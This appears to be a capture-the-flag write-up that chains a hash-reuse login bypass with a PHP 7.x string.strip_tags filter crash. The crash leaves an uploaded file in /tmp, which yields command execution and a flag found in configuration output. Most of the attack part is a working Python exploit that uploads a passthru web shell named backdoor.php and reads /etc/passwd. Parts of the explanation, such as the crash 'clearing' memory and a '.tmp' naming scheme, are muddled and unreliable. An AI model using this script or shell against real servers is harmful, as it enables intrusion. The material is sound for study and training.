The target application implements an authentication gateway requiring three parameters: name, pass, and a server-generated hash token. Examination of the validation routine shows that modifying the name field dynamically alters the expected hash output. Rather than attempting cryptographic reverse engineering, observe that supplying the captured dynamic hash directly as the pass parameter satisfies the verification condition. This bypass grants access to a secondary endpoint containing file manipulation capabilities.

Standard inclusion attempts against common configuration paths return empty results. However, routing requests through an auxiliary directory scanner reveals explicit references to the operating system's temporary storage. This behavior suggests a potential vector for persistent payload delivery. The underlying runtime identifies itself as PHP 7.0.33, a version range known to contain a critical Zend engine flaw when processing the php://filter/string.strip_tags wrapper. Triggering this filter causes a null pointer dereference, resulting in abrupt process termination and memory stack clearing. Any file actively uploaded during the crash sequence evades garbage collection, remaining permanently anchored in /tmp under a default naming schema. This instability is isolated to unpatched PHP 7.0.x through 7.2.x builds.

import requests
import io
import uuid

SHELL_CODE = b"<?php if(isset($_GET['cmd'])){passthru($_GET['cmd']);} ?>"
TARGET_ENDPOINT = "http://target.com/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"

def inject_payload():
    # Construct a proper multipart/form-data body to force file upload during crash
    boundary = f"boundary_{uuid.uuid4().hex}"
    headers = {"Content-Type": f"multipart/form-data; boundary={boundary}"}
    
    # Manually assemble the request body for precise control over the upload stream
    raw_body = (
        f"--{boundary}\r\n"
        f"Content-Disposition: form-data; name=\"upload\"; filename=\"backdoor.php\"\r\n"
        f"Content-Type: application/x-php\r\n\r\n"
    ).encode() + SHELL_CODE + f"\r\n--{boundary}--\r\n".encode()
    
    # Execute request; the null pointer exception will terminate PHP while preserving the temp file
    response = requests.post(TARGET_ENDPOINT, data=raw_body, headers=headers, allow_redirects=False)
    return response.status_code

inject_payload()

Once the crash completes and the temporary artifact persists, the directory enumeration script can be directed to retrieve it. The server stores the compromised payload using a random alphanumeric identifier followed by .tmp. Routing a request to this path initializes the embedded command execution handler. Routine shell commands may fail due to restrictive runtime directives configured via disable_functions. When direct system invocation is blocked, verbose environment diagnostics provide an alternative enumeration path. Parsing complete server configuration dumps often exposes hidden constants, compield extensions, and internal variables that standard diagnostic functions omit. Capturing the full diagnostic response reveals the target string embedded within extension metadata. Isolating this value yields the final objective.